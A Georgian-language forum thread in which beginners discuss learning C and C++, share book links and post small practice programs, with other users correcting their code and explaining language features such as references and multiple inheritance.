მე მაქვს უფასოდ. იმეილი მომე და გამოგიგზავნი. ტორენტითაც შეგიძლია ჩამოტვირთო.

Posted by: barnabeka 3 Feb 2015, 20:54
bekachigladze@gmail.com ელექტრონული ვერსია კარგია მაგრამ თვალები დამეთხრება მომე მაინც აბა თუ გაქ.

Posted by: barnabeka 5 Feb 2015, 19:51
ეს რა მაგარ ოპერატორზე გადავედი biggrin.gif

CODE
#include <iostream>
#include <conio.h>


using namespace std;
int main (){

double a , c, b;
cout<<"Semoitane ricxvebi"<<endl;
cout<<"a=";
cin>>a;
cout<<"b=";
cin>>b;
c=(a>b) ?  a : b;
cout<<c;

return 0;
getch ();

}

Posted by: wixxen2012 6 Feb 2015, 17:29
დავწერე უკვე მეთვითონ აღარც შემოვსულვარ აქ biggrin.gif
#include <iostream>
using namespace std;
int a,b;
main () {
cin>>a>>b;
if(a>b) cout<<a<<endl;
else cout<<b<<endl;
system("pause")
}
P.s სასწავლებელში არ დავდივარ, სკოლაში ვსწავლობ, კვირაში ერთი გაკვეთილი მაქ 45 წუთი biggrin.gif
და ერთი კითხვა მაქ, მე მასწავლეს int ცალკე და main ცალკე, ბოლოში კიდე system("pause") და ყველას ერთად აქ ინტ და მაინ და ბოლოში return 0, რა განსხვავებაა?

Posted by: DistrictA 6 Feb 2015, 20:07
QUOTE (wixxen2012 @ 6 Feb 2015, 17:29 )
დავწერე უკვე მეთვითონ აღარც შემოვსულვარ აქ biggrin.gif
#include <iostream>
using namespace std;
int a,b;
main () {
      cin>>a>>b;
      if(a>b) cout<<a<<endl;
      else cout<<b<<endl;
      system("pause")
}
P.s სასწავლებელში არ დავდივარ, სკოლაში ვსწავლობ, კვირაში ერთი გაკვეთილი მაქ 45 წუთი biggrin.gif
და ერთი კითხვა მაქ, მე მასწავლეს int ცალკე და main ცალკე, ბოლოში კიდე system("pause") და ყველას ერთად აქ ინტ და მაინ და ბოლოში return 0, რა განსხვავებაა?

c და c++ ში არაფერი რო არ დაუწერო წინ ფუნქციას ის int ტიპის ხდება ავტომატურად, აქედან გამომდინარე int ტიპის ფუნქცია აუცილებელია რამეს აბრუნებდეს. შენ არ გიწერია წინ int მაგრამ მაგას გულისხმობს ავტომატურად , და return 0 თვითონ compiler ი უმატებს თუ შენ არ დაუწერ. საერთოდ სრულად დაწერე ხოლმე ჯობია ყოველთვის ყველაფერი.

და ის int a,b; რო გიწერია გლობალურად რაში გჭირდება ეგ ცვლადები მაგ მომენტში? main ის შიგნით აღწერე.

მეთვითონაც დამწყები ვარ და თუ რამე არასწორად ავხსენი შემისწორეთ
* * *
CODE
#include <iostream>
#include <conio.h>
#include <string>

using namespace std;

enum Sex { male = 1, female = 2};

class Student
{
public:
Student();
void setInfo();
Sex getSex();
int getAge();
string getName();
string getLastname();
private:
string fName;
string lName;
int age;
Sex sqesi;
};

Student::Student()
{
age= -1;
}


void Student::setInfo()
{
int sexNumber;
cout<<"Student first name: "; cin>>fName;
cout<<"Student last name: "; cin>>lName;
cout<<"Student age: "; cin>>age;
tryAgain:
cout<<"Student sex: (1 for male, 2 for female)"; cin>>sexNumber;
if(sexNumber == 1)
 sqesi = male;
else if (sexNumber == 2)
 sqesi = female;
else
{
 cout<<"please put 1 for male, 2 for female\n";
 goto tryAgain;
}
}

Sex Student::getSex()
{
return sqesi;
}

int Student::getAge()
{
return age;
}

string Student::getName()
{
return fName;
}

string Student::getLastname()
{
return lName;
}


int main()
{
Student students[3];
Student oldestStudent;
Student youngestStudent;
int femaleCount=0, maleCount=0;

for(int i=0; i<3; i++)
{
 students[i].setInfo();
}
 
for(int i=0; i<3; i++)
{

 if(students[i].getSex() == female)
  ++femaleCount;
 else
  ++maleCount;

 if(students[i].getAge() > oldestStudent.getAge())
  oldestStudent = students[i];

 if(students[i].getSex() == male)
 {
  if(students[i].getAge() < youngestStudent.getAge() || youngestStudent.getAge() == -1)
   youngestStudent = students[i];
 }
}

cout<<"Number of males = "<<maleCount<<endl
 <<"Number of females = "<<femaleCount<<endl
 <<"Oldest student name = "<<oldestStudent.getName()<<" "<<oldestStudent.getLastname()<<endl;
if(youngestStudent.getSex() == male)
cout<<"Youngest male student name = "<<youngestStudent.getName()<< " "<<youngestStudent.getLastname();

getch();
return 0;
}


დამწყების თაობაზე როგორია? რას გამისწორებდით

Posted by: Dirac 7 Feb 2015, 04:18
wixxen2012
return 0 რატომ უნდა მაგაზე ზემოთ მიწერია. system("pause") არის ვინდოუზისთვის სპეციფიური ბრძანება, შენი პროგრამა ვინდოუზის სისტემის ბრძანებას იყენებს. ლინუქსე ან უნიქსზე ეს ბრძანება არ გამოგადგება, მანდ საერთოდ არაა საჭირო. system("pause")-ს ჯობია getch()

Posted by: barnabeka 8 Feb 2015, 00:12
ერთი სიტყვით კომპიუტერში თვალები მტკივა კითხვით და ამ წიგნის ყიდვას ვაპირებ შეცდომას ხო არ ვუშვებ???
http://www.amazon.com/C-Programming-Language-4th/dp/0321563840/ref=sr_1_1?ie=UTF8&qid=1423339843&sr=8-1&keywords=c%2B%2B+stroustrup

Posted by: შაქროII 8 Feb 2015, 01:21
barnabeka
პრინტერი არ მუშაობს?

Posted by: Dixtosa 8 Feb 2015, 03:38
barnabeka
kindle
დამიჯერე wink.gif

Posted by: barnabeka 8 Feb 2015, 10:14
შაქროII 1300 გვერდია და მაგის მაოპრინტერება დამიჯდება იგივე თანხა რაც ღირს და ბარემ ვიყიდითქო ახალსთქო

Dixtosa
კაია ქინდლი მაგრამ არ მაქვს smile.gif

Posted by: posthuman 8 Feb 2015, 16:53
barnabeka
QUOTE
კაია ქინდლი მაგრამ არ მაქვს

მერე 57$-ად 1 წიგნის ყიდვას ქინდლი იყიდე 59$-ად - http://www.amazon.com/gp/product/B00I15SB16/ref=amb_link_429523602_4?pf_rd_m=ATVPDKIKX0DER&pf_rd_s=center-6&pf_rd_r=0ZKC3ARMVTDPSGP3QBNX&pf_rd_t=101&pf_rd_p=2036992042&pf_rd_i=10924444011

Posted by: Roofus 8 Feb 2015, 16:55
barnabeka
65 ლარი დაგიჯდება პრინტერი მაქსიმუმ და ეგ წიგნი 120 ლარი ღირს შიპინგის გარეშე...
ქინდლი არც მეარ მეავსება, მაგას ისევ ტაბლეტი მირჩევნია... ან ისეთი რო სიმ-ზეც მუშაობდეს რო ონლაინში იკითხო დაუშვათ...

Posted by: barnabeka 8 Feb 2015, 17:23
არვიცი შევხედავ ახლა და რავი c++ მაინც ისეთი ენაა რო რავიცი ამაზე დარჩენას არ ვაპირებ ცოტა აზრზე მოსვლა მინდა აი შემოტევა მაქ სწავლის და მაგიტო მინდა ყიდვა, თან მენანება როგორია 120 ლარის მიცემა წიგნში, ქინდლს ვერ ვიტან ასე რომ წიგნი მირჩევნია მაგრამ ძვირია. აი ეს მაქ ამოპრინტერებული https://mega.co.nz/#!XkBkyZyT!VrYn2ClqSdzcrE_BAxfY-nkSivbFevO6INmVfS9X8fI და მივყვები და თქვენ როგორც გამოცდილნი რასიტყვით ხო მეყოფა იმისთვის რომ ცოტა გავეჩვიო ენას და მერე მაინც c# -ის სწავლა მომიწევს და ბარემ იმის წიგნს ვიყიდი და იმას მოვცხებ საფუძვლინად რავი რას მირჩევთ თქვენ

Posted by: Roofus 8 Feb 2015, 17:38
barnabeka
გამოცდილი არ ვარ... ამიტომ ვერაფერს ვერ გეტყვი... ერთადერთი წარმატებები შემიძლია გისურვო up.gif

Posted by: Roofus 9 Feb 2015, 23:54
wixxen2012
CODE
// function macro
#include <iostream>
using namespace std;

#define getmax(a,b) ((a)>(b)?(a):(b))

int main()
{
 int x=5, y;
 y= getmax(x,2);
 cout << y << endl;
 cout << getmax(7,x) << endl;
 return 0;
}

Posted by: შაქროII 10 Feb 2015, 00:12
QUOTE
int sexNumber;
cout<<"Student first name: "; cin>>fName;
cout<<"Student last name: "; cin>>lName;
cout<<"Student age: "; cin>>age;
tryAgain:
cout<<"Student sex: (1 for male, 2 for female)"; cin>>sexNumber;
if(sexNumber == 1)
sqesi = male;
else if (sexNumber == 2)
sqesi = female;
else
{
cout<<"please put 1 for male, 2 for female\n";
goto tryAgain;
}
}

გოთუ ცუდი გამოყენების მაგალითია.
ჯობია გამოიყენო
int ivalid_gender_input=0;
do
{

switch(ivalid_gender_input)
{
case 0:
cout<<"please put 1 for male, 2 for female\n";
break;
case 1:
cout<<"ver gaige zemot ra ceria?\n 1 an 2-io bijo\n";
break;
case 2:
cout<<"vaaax bijooo\n 1 an 2-io bijo\n";
break;
default:
cout<<"idi na x...an\n Semoitane 1 an 2\n";
}
cin>>sexNumber;//monacemis Setana
++invalid_gender_input;
}whine(1>sexNumber || 2<sexNumber)

სქესად ბარემ ორი ჩარი აიღე 'F' და 'M' smile.gif



" if(students[i].getSex() == female)
++femaleCount;
else
++maleCount;
"
ეს საერტოდ კომპილირდება?

Posted by: MI6 14 Feb 2015, 21:12
ვორდში გვერდი როგორ ამოვაბრუნო ისე რომ სხვებიც არ ამობრუნდეს?

Posted by: Roofus 4 Mar 2015, 02:04
შაქროII
ნახე boli.gif


არა? boli.gif

CODE

#include <iostream>
#include <vector>
#include <string>
#include <cstdlib>
#include <cstring>
#include <vector>

using namespace std;

int main(){

   string strSqesi;
   int intSqesi = 0;
   int male = 1;
   int female = 2;

   do {
       cout << "sheiyvanet tqveni sqesi " <<" 1/M"<< " an"<< " 2/F: " << endl;
       getline(cin, strSqesi);
       intSqesi = atoi(strSqesi.c_str());
       cout << "tqven sheiyvanet " << strSqesi << endl;
   }
while (intSqesi > 2);

   if (intSqesi == female){
       cout << "tqven xart dedakaci"<< endl;
   }
       else if (intSqesi == male){
       cout << "tqven xart mamakaci"<< endl;
   }
   return 0;

}

Posted by: შაქროII 4 Mar 2015, 21:17
Roofus
და ტუ უზერმა -10 შეიტანა? (ვაილ(ინტსქესი>2) რომ გიწერია)...
დატოვე დუ ვაილი როოგრც გაქვს (ვაილ1 შეგიძლია გააკეტო უსასრულო ციკლი).
ვაილში აკეტებ შემოწმბეას სწორედ შეიატანა მონაცემი ტუ არა..სანამ იმას არ შეიტანს რაც გინდა მანადე იტრიალებს ვაილში.
მერე უნდა გამოვიდეს და ალბატ ყველაზე მოხერხებული იქნება სვიტჩი
ასეტი ლოგიკით:
როცა შეყანილი არის 1 ან 'M' შესაბამისი კოდი მაშინ მალეა
როცა შეტანილია 2 ან 'F' მაშIნ ფიმალეა .სვიტჩში ეს ადვილად გაკეთდება...


ან ეს სვიტჩიც ჩასვი დო ვაილში და საჭირო შემტხვევაში გამოყენებ
ლაბელ/გოუთუ-ს რომ გამოხვიდე ციკლიდან (ცხადია უკან დაბრუნების გარეშე)...(მაგალითად გოოთუ მიყთიტებს ლაბელზე რმელიც უთითებს რეთუნ 0-ზე და ა.შ...თუმცა გოუთუ რეთურნზე აზრი არ აქვს..
რეთურნი ნებისმერე ადგილას შეგიძლია გააკეთო.... მოკლდ სადღაც ვაილის გარეთ რეთურნამდე...)
ლაბელ გოუთუ-ს სწორი გამოყენების მეთოდია რცა მიდიხარ ზემოდან ქვემოთ...ფუნქცია/პროგის ბოლოსკენ..ცუდი მაგალითია როცა მიდიხარ ბოლოსკენ და იქ შეიძLება დახვდეს მერე გოუთუ რომელიცდააბრუნებს ზემოთ....
სი/ს++ ასეთი რამ ყოველთვის აცილებადია...

Posted by: Roofus 4 Mar 2015, 22:16
შაქროII
დავწერ მაგას... ოღონდ ჯერ ვაილ და სვიჩი დავამუღამო... ჯერ ეხლა ვსწავლობ boli.gif

Posted by: Roofus 9 Mar 2015, 18:30
აჰათ კიდევ ერთი ვარიანტი... პა მერე პრადცვიჟენია ვწერ და ბევრ რამეს ჯერ ვერ ვიყენებ user.gif
» სპოილერის ნახვისთვის დააწკაპუნეთ აქ «

Posted by: barnabeka 19 Mar 2015, 10:54
ცნობილია რომ ოთხი a,b,c,d რიცხვებიდან 3 ტოლია ერთი კი განსხვავებული n ცვლადს მივანიჭოთ განსხვავებული რიცხვის სიდიდე. ვინმემ დამიწერეთ კოდი რააა ვერ გავიგე როგორ გავაკეთო გაკვეთილებს მივყვეი და გავიჭედე.

Posted by: irakli8 19 Mar 2015, 15:06
barnabeka
CODE
#include<iostream>
using namespace std;

int main()
{
double a = 3, b = 3, c = 3, d = 4;
double n;

if ((b + c + d) / 3.0 != b) //sami ricxvis jami tu ar gaiyo tolad da ert-ertis toli ar gaxda, mashin ert-erti gansxvavebulia
{

 if (b != c) //tu b ar aris c-s toli, mashin ert-ertia gansxvavebuli
 {

  if (b != d)// tu b ar udris d-s ese igi tavadaa gansxvavebuli
   n = b;

  else n = c; //tu b=d, mashin c aris gansxvavebuli
 }

 else n = d; //tu b=c ese igi mesame cifri, d aris gansxvavebul
}

else n = a; //tu jami unashtod iyofa da ert-erti wevris toli gamodis, mashin me-4 cifri yofila gansxvavebuli
cout << n << endl;
}

Posted by: barnabeka 19 Mar 2015, 16:20
irakli8 დიდი მადლობა გაიხარე


Posted by: irakli8 19 Mar 2015, 18:31
barnabeka
არაფრის smile.gif
რომელი წიგნით გადიხარ? ადრე მახსოვს ეგ დავალება რომ გავაკეთე...

Posted by: barnabeka 19 Mar 2015, 19:08
გელაშვილი ხუციშვილით მგონი თსუ. ს სალექციო კურსია კაია დავალებებია თეორიულ ნაწილს http://www.cplusplus.com/doc/tutorial/ აქედან გავდივარ და დავალებებს ამ კონსპექტიდან ვაკეთებ https://www.facebook.com/l.php?u=https%3A%2F%2Fmega.co.nz%2F%23!q0InkJSJ!BciFDSh6KqWFwC-v2X1tGNSg_n54xtVoGMhrD4XitEE&h=WAQEBTrjH და შენ საიდან სწავლობ

Posted by: Roofus 19 Mar 2015, 22:14
barnabeka
barnabeka
https://www.mediafire.com/folder/89uq71nw8586x/Books


აქ მაქვს Programming in easy steps. ეგ წაიკითხე აუცილებლად გირჩევ. ტუტორიალთან შედარებით უფრო თვალსაჩინოა.
მე პირადად მაგ წიგნით ვარჩევ...

და კიდე C++ Primer 6th edition ნახე, ძალიან კარგი საკითხავია.

Posted by: Dirac 20 Mar 2015, 03:03
QUOTE (barnabeka @ 19 Mar 2015, 10:54 )
ცნობილია რომ ოთხი a,b,c,d რიცხვებიდან 3 ტოლია ერთი კი განსხვავებული n ცვლადს მივანიჭოთ განსხვავებული რიცხვის სიდიდე. ვინმემ დამიწერეთ კოდი რააა ვერ გავიგე როგორ გავაკეთო გაკვეთილებს მივყვეი და გავიჭედე.


ამ ამოცანამ ძაან დამაინტერესა და გადავწყვიტე if-ის გარეშე დამეწერა. სპოილერეში არის კოდი, სანამ ნახავთ შეგიძლიათ თქვენც იფიქროთ. საინტერესო ამონახსნი აქვს.

» სპოილერის ნახვისთვის დააწკაპუნეთ აქ «

Posted by: barnabeka 20 Mar 2015, 09:06
Roofus
მადლობა ძმაო მაგარი საქაღალდე გაქ c++ ის smile.gif

Posted by: მეგატვინი 20 Mar 2015, 18:28
ლინუქს პროგრამინგით ვინმე არის დაინტერესებული აქ ?

ლინუქსი უფრო C-ს ითხოვს და იმიტო ვიკითხე

მე ვიწყებ ეხლა C-ს და მერე გადავალ პლასზე ალბათ up.gif

ისე პლასი კია გაუმჯობესებული სი მარა უფრო მეტი შეუძლია/შეგიძლია ვიდრე სის/სით ?

Posted by: Dirac 20 Mar 2015, 20:27
მეგატვინი
თუ ლინუქსი გინდა მაშინდ დაიკიდე C++. ლინუს ტორვალდს არ მოსწონს C++, პრინციპში არცერთი მაღალი დონის ენა არ მოსწონს. თუ C++ უყურებ როგორც გაუმჯობესებულ C-ს, მაშინ არ ღირს C++ზე გადასვალა. ორი სხვადასახვა ენაა, მსგავსება მარტო საწყის ეტაპზეა.

Posted by: Roofus 21 Mar 2015, 06:37
მეგატვინი
C++ არის OOP ენა (Object oriented programing). თუ გინდა გამოიყენო ობიექტები მაშინ პირდაპირ C++ ისწავლე. C გამოიგონეს რომ უნიქსში ეწერათ პროგრამები ასამბლერში ჩარევის გარეშე, რომ შეექმნათ პროგრამები სხვადასხვა არქიტექტურის მანქანებისთვის ადვილად. თუ ადრე საჭირო იყო ასამბლერში ყველა პროცესორისთვის ცალკე კოდის შერჩევა და ა.შ. C-ს კომპილერმა/ბიბლიოთეკებმა მიცა საშუალება რომ თავი აერიდებინათ ზედმეტი კოდინგისგან და ადვილად ეწერათ სოფტი. ეს იყო 70-იანი წლები. 80-ციანებში სიტუაცია შეიცვალა და გამოჩნდა C++ რომელმაც მისცა სათავე OOP-ს მგონი. C++ ინსპირირებულია პერლით სმოლტოკით და კიდე რამოდენიმე ენით და დაფუძნებულია C ენაზე.

შეგიძლია C ენით დაიწყო სწავლა მაგრამ მგონი პრაქტიკაში უფრო C++ გამოიყენებ.

წარმატებები up.gif

barnabeka
გაიხარე smile.gif არაფრის

Posted by: მეგატვინი 21 Mar 2015, 10:39
Roofus

ადრე თუ გვიან C-ს მაინც ვისწავლი და ამიტომ მაგით დავიწყებ და მერე გადავალ სხვა ენებზეც

QUOTE
წარმატებები

მადლობა,შენც ასევე up.gif

Dirac
QUOTE
ლინუს ტორვალდს არ მოსწონს C++


biggrin.gif
ტორვალდს ბევრი რამ არ მოსწონს,ნვიდიაც არ მოსწონს მაგას და ყველაფერი რაც ლინუქსის გავრცელებას/დახვეწას/განვითარება ხელს უშლის mo.gif

Posted by: Shredinger 21 Mar 2015, 12:52
QUOTE
C++ არის OOP ენა (Object oriented programing)

არა smile.gif
multi-paradigm ენაა.
OOP მისი ერთ-ერთი მხარდაჭერაა.

OOP ენა არი ჯავა და C#, ყველაფერი ობიექტი რომაა მაგიტომ.
C++ ში არაა ყველაფერი ობიექტი.

Posted by: Roofus 21 Mar 2015, 17:26
Shredinger
აჰა... ოკ boli.gif


Posted by: beqa19986 30 Mar 2015, 14:02
ც++ მინდა რომ ვისწავლო და რაიმე საიტი მითხარით რა დასაწყისისთვის მარტივი კოდები და რაღაცები რომ იყოს...

Posted by: Roofus 19 Apr 2015, 02:52
beqa19986
QUOTE
ც++ მინდა რომ ვისწავლო და რაიმე საიტი მითხარით რა დასაწყისისთვის მარტივი კოდები და რაღაცები რომ იყოს...

http://www.cplusplus.com/doc/tutorial/

წიგნები თუ გინდა აქ

https://www.mediafire.com/folder/89uq71nw8586x/Books

თუ რამე კიდე დაგაინტერესებს დაწერე. მეც ეხლა ვსწავლობ.

Posted by: Custos 11 Jun 2015, 17:32
ხომ არ იცით რაიმე ვებგვერდი, სადაც იქნება C++ სავარჯიშოები?

Posted by: koshogio 13 Jun 2015, 09:07
Custos
QUOTE
ვებგვერდი, სადაც იქნება C++ სავარჯიშოები?

http://geolymp.org
http://usaco.org/

Posted by: Custos 13 Jun 2015, 10:38
koshogio

მადლობა smile.gif

Posted by: Dixtosa 13 Jun 2015, 16:56
Custos
თუ ინგლისური იცი და რუსოფობი არ ხარ მაშინ ეს

http://codeforces.com/

ეს ჯობია ყველას იმიტომ რომ სხვის კოდებსაც ნახავ. იმდენად ლამაზი კოდები აქვთ სხვისი კოდების კითხვას შეგაყვარებს.

Posted by: Shredinger 13 Jun 2015, 19:12
QUOTE (Dixtosa @ 13 Jun 2015, 16:56 )
Custos
თუ ინგლისური იცი და რუსოფობი არ ხარ მაშინ ეს

http://codeforces.com/

ეს ჯობია ყველას იმიტომ რომ სხვის კოდებსაც ნახავ. იმდენად ლამაზი კოდები აქვთ სხვისი კოდების კითხვას შეგაყვარებს.

მანდ რომ გააკეთო ამოცანები ალგორითმების ბევრი ცოდნა გინდა ხო?
თუ კი
რა რესურსიდან შემიძლია ალგორითმების სწავლა?

Posted by: Dixtosa 13 Jun 2015, 19:47
Shredinger
ისევე როგორც ჯეოლიმპზე აქაც დონეებადაა. მეორე დივიზიონის A B და ც-ს თუ აკეთებ მორჩა კაია უკვე. დანარჩენს ზოგიერთს უნდა ზოგიერთს არა. უფრო მეტად უნდა კი.

QUOTE
რა რესურსიდან შემიძლია ალგორითმების სწავლა?

თვითონ მანდაც კი დევს კაი რამეები ინგლისურად. მაგალითად სეგმენტთა ხე. ანდაც შეგიძლია იკითხო შენ ბლოგზე.

მარა ეს მაინც სულ სხვაა: e-maxx.ru

Posted by: samuraisxmali 13 Jun 2015, 21:32
http://www.codechef.com/


=============================

Posted by: irakli8 16 Jun 2015, 22:02
ცოტა ისეთი შეკითხვაა, მარაა... ასე რატომ შვრება? biggrin.gif
მაღლა პირველი ტაბი უფრო დიდია ვიდრე დანარჩენები, წეღან მარცხნივ სვეტზე რაღაცები მქონდა ჩამოწერილი და მაგის შემდეგ პირველი სვეტი ტაბების პირიქით, უფრო პატარა იყო ვიდრე დანარჩენები. ალბათ იმ ვერტიკალური სიმბოლოს ბრალია მარა მაინც ვერ მივხვდი როგორ მუშაობს.

Posted by: Dirac 18 Jun 2015, 21:34
irakli8
setw რომ გამოიყენო?
CODE

#include <iostream>
#include <iomanip>


int main(int argc, char *argv[])
{

 std::cout << "|" << std::setw(9) <<"|" << std::setw(9) << "|"
           << std::setw(9) << "|" << std::endl;
 std::cout << "|" << std::setw(9) <<"12345678|" << std::setw(9)
           << "12345678|" << std::setw(9) << "12345678|" <<std::endl;
 
 
 return 0;
}


Posted by: irakli8 20 Jun 2015, 18:27
Dirac
არა, კი გამოვიყენებ, მარა იავიცი... biggrin.gif

Posted by: Dixtosa 20 Jun 2015, 21:17
irakli8
np++ზეც რო იგივე გაიმეორო ხელით იგივეს იზამს.

ტაბის ფუნქცია იდეაში სხვა რამაა. ცხრილური ჩაწერისთვისაა და არა იმისთვის რო ერთიდაიგივე სიგრძის სიმბოლო იყოს.
ანუ არ უნდა გაგიკვირდეს რომ როცა მას არასწორად გამიყენებ უცნაურ შედეგს დებს;

Posted by: ARMINDA 25 Jun 2015, 17:47
C პროგრამის სწავლის დაწყება რითი არის უკეთესი?
ც ც++ თუ ც#.
ან პირდაპირ # რომ დაიწყო?რა პროგრამაშI უნდა იმუშაო?
ან თუ იცით კარგი გაკვეთილები(ინგლ) დამწყებთათვის

Posted by: მეგატვინი 25 Jun 2015, 19:40
ARMINDA
QUOTE
C პროგრამის სწავლის დაწყება რითი არის უკეთესი?


Head First C yes.gif

QUOTE
ან პირდაპირ # რომ დაიწყო?რა პროგრამაშI უნდა იმუშაო?


Visual Studio


Posted by: Shredinger 25 Jun 2015, 19:42
ARMINDA
რავი თუ გინდა პროგრამირება ისწავლო ჩემი აზრით უნდა დაიწყო C თი.
არგუმენტი:
1) პატარა ენაა შედარებით
2) ზოგადად პროგრამირებაში გაგარკვევს კარგად. არ დაგტვირთავს ბევრი სიმბოლოებით.
3) ზოგადად გაიგებ მარტივ დონეზე რა არის ფუნქცია ცვლადები მისამართები სტრუქტურა. ფოინთერები რაც მნიშვნელოვანია ყველა ენაში, და ა.შ

# ეს იყო ჩემი კომენტარი.

Posted by: ARMINDA 26 Jun 2015, 10:33
Shredinger
მეგატვინი
მეც ვფიქრობდი რომ C დამეწყო,მერე ++ და მერე #.
ვისუალ სტუდიო უფასოა ხო?
და გაკვეთილების საიტი ხომ არ იცით კარგი?

Posted by: Roofus 26 Jun 2015, 11:28
ARMINDA
ექსპრეს ვერსიაა მარტო უფასო

Posted by: ARMINDA 26 Jun 2015, 18:14
და დაახლოებით რა დრო დამჭირდება რომ შევისწავლო?
ნუ პროფი რომ გავხდე არა,საშუალო დონეზე
უბრალოდ დროში შეზღუდული ვარ და არ ვიცი მოვახერხებ თუ არა

Posted by: natalinatusia 29 Jun 2015, 09:39
რას ნიშნავს hibernate რა არის ცხელი კლავიშები და დისკის დაფორმატება?? გამოცდისთვის მჭირდება smile.gif))

Posted by: Roofus 29 Jun 2015, 16:18
natalinatusia
QUOTE
hibernate

კომპიუტერის მდგომარეობა როდესაც მისი მუშაობა "გაყინულია" გათიშულის მაგივრად.
QUOTE
ცხელი კლავიშები

კლავიშების სპეციალური კომბინაცია რომელიც ესადაგება პროგრამის რომელიმე ფუნქციას. მაგალითად CTL+C = Copy
QUOTE
დისკის დაფორმატება

მყარი დისკის (hdd) ან სხვა მეხსიერების მატარებლის განულება. ინფორმაციის წაშლა და ნულების ჩაწერა. (როცა ნელი ფორმატირებაა, სწრაფის დროს უბრალოდ რელოკაცია ხდება და ცარიელდება-სავით ადგილი დისკზე)
QUOTE
გამოცდისთვის მჭირდება

აბა ჰე და აბა ჰო...

ARMINDA
1-2 თვე გინდა რომ სინტაქსი და საერთოდ მცნება გაიგო.
მერე უკვე მონდომების ამბავია... თუ მოინდომებ მალე დაეუფლები. თუ არა დიდი ხანი მოუნდები და შეიძლება საერთოდ ვერ შეისწავლო.
აბა რა გითხრა მე თვითონ სწავლის პროცესში ვარ... სულ სულ დასაწყისში.

Posted by: ARMINDA 30 Jun 2015, 15:27
Roofus
მადლობა
ძალიან მინდა რომ ვისწავლო მაგრამ ვნახოთ,დრო თუ მექნება.

Posted by: Yan-LoonG 18 Jul 2015, 19:58
გამარჯობათ,
ე.ი რა მინდა:

მინდა რომ ფუნქიცას გადავცე სტრინგი და მერე იმ ფუნქიცამ პირველ და მეორე ასოებს ადილი შეუცვალოს და უკან დააბრუნოს, და მაინ ფუნქციაში დაბეჭდოს შებრუნებული.
user posted image

დაარ გამოდის.. sad.gif როგორ მოვიქცე.

Posted by: Roofus 18 Jul 2015, 20:49
Yan-LoonG
CODE

#include <iostream>
#include <string>
using namespace std;

string swapStr(string &sw);

int main(int arc, string argv[]){
string str;
getline(cin,str);
swapStr(str);
cout << str;
return 0;
}

string swapStr(string & sw){
swap (sw.at(0),sw.at(1));
return sw;
}


Posted by: Yan-LoonG 18 Jul 2015, 21:13
QUOTE
& sw

QUOTE
sw.at(0),sw.at(1)


ეს ორი ვერ გაივე, რას ნიშნავს შეგიძლია ამიხსნა მოკლედ? sad.gif

Posted by: Roofus 18 Jul 2015, 21:25
Yan-LoonG
& არის რეფერანსი.
პოინტერისგან განსხვავებით რეფერანსი არ ქმნის მისამართს მეხსიერებაში... მგონი... ნუ მოკლედ პოინტერის მსგავსია რა... როგორც *

http://stackoverflow.com/questions/57483/what-are-the-differences-between-a-pointer-variable-and-a-reference-variable-in

ეს წაიკითხე აი თუ დაწვრილებით გაინტერესებს.

sw.at(0) არის string-ის ფუნქცია at(). როგორც lenght() ან size() დაუშვათ. str.lenght() მოგცემს 3 თუ ფთქვატ str = "test"; რაგდან მასივი 0-დან იწყება. size() იგივეა მგონი.

და sw.at(0) იგივეა რაც sw[0] თუ იყენებ სიმბოლოების მასივს (character array).

ამ შემთხვევაში რახან იყენებ string ცვლადს მაგაზე მოქმედება ხდება at() ფუნქციით თუ გინდა რომ შეცვალო კონკრეტული სიმბოლო.


გასაგებად დავწერე? user.gif

Posted by: კოვალსკი 18 Jul 2015, 21:55
შეგიძლია ასე ქნა
CODE
swap((*opa)[0],(*opa)[1]);

მნიშვნელობას რომ მიწვდე https://en.wikipedia.org/wiki/Dereference_operator არის საჭირო, ანუ *opa. ფრჩხილები კი იმიტომ არის საჭირო რო "[]" ოპერატორს აქვს მეტი პრიორიტეტი შესრულების თვალსაზრისით ვიდრე "*" -ს https://en.wikipedia.org/wiki/Operators_in_C_and_C%2B%2B#Operator_precedence

Posted by: Yan-LoonG 22 Jul 2015, 22:14
Roofus
კიკიკი გასაგებია ყველაფერი ცოტა ლიტერატურაც წავიკითხე და წინ წავიწიე. მადლობა დიდი :*
კოვალსკი
მადლობა დახმარებისთვის.

აი ახლა კლასებზე ვარ და ჩემი პრობლემა რაში მდგომარეობს:
შევქმენი 3 ცალი კლასი (I-cars, II-Opeli, III-astra) ვიყენებ მემკვიდრეობას.
ვქმნი კონსტრუქტორებს , შემდეგ Main-ფუქნციიდან ვქმნი ობიექტს (skami) და გადავცემ 3 არგუმენტს .( skami(1,2,3) );

შემდეგ ვცდილობ გამოვიტანო ეკრანზე თითოუელი ცვლადი რაც კლასებში შევქმენი.
და II და III კლაებში გამოცხადებულ ცვლადების მნიშვნელობა რაც გადავეცი გამოდის ეკრანზე მაგრამ როგორც კი ვამატებ პირველი კლასის ცვლადის გამოტანას ეკრანზე შესაბამისი ფუნქციით მიწერს კომპილაციის შეცდომას.
Severity Code Description Project File Line

Error IntelliSense: "astra::get_d" is ambiguous

აი კოდი:

» სპოილერის ნახვისთვის დააწკაპუნეთ აქ «
CODE

// ConsoleApplication73.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include <iostream>
using namespace std;

class cars {
public:

int d;
cars() { d = 0; }
cars(int jj) { d = jj;   }
void get_d() { cout << d; }

};

class opeli :public cars {
public:

int b;


opeli(int gf) { b = gf; }
opeli(int f, int hh) :cars(hh) {
 b = f;

}
void get_b() { cout << b; }

};

class astra :public cars, public opeli {
public:
int op;

astra(int qw, int er, int  rt) :
 cars(er),
 opeli(rt) {
 op = qw;
}


void get_op() { cout << op; }
};

int _tmain(int argc, _TCHAR* argv[])
{

astra skami(1, 2, 3);


skami.get_op();
skami.get_b();
skami.get_d();


return 0;
}






Posted by: Roofus 22 Jul 2015, 23:00
Yan-LoonG
აი აქ ჩაიკითხე ბოლოში...

ვირტუალი უნდა გააკეთო და ზედა ორ კლასში უნდა გაიმეორო მესამეში თუ გინდა გამოიყენო

class A { virtual void f(); };
class B { virtual void f(); };
class C : public A ,public B { void f(); };


http://www.cprogramming.com/tutorial/multiple_inheritance.html

Posted by: That_Dude_With_Guitar 27 Jul 2015, 10:17


უკვე 2 საათია ხან აქედან მივუდექი, ხან იქიდან, ვერ ვიპოვნე რაშია პრობლემა, დამეხმარეთ რა. user posted image

user.gif user.gif user.gif

Posted by: Svani91 27 Jul 2015, 11:21
That_Dude_With_Guitar

yield break დაუწერე აბა

როგორც მივხვდი ეგ გინდა.

IEnumerator bool - ს ვერ დააბრუნებს

Posted by: That_Dude_With_Guitar 27 Jul 2015, 13:15
Svani91
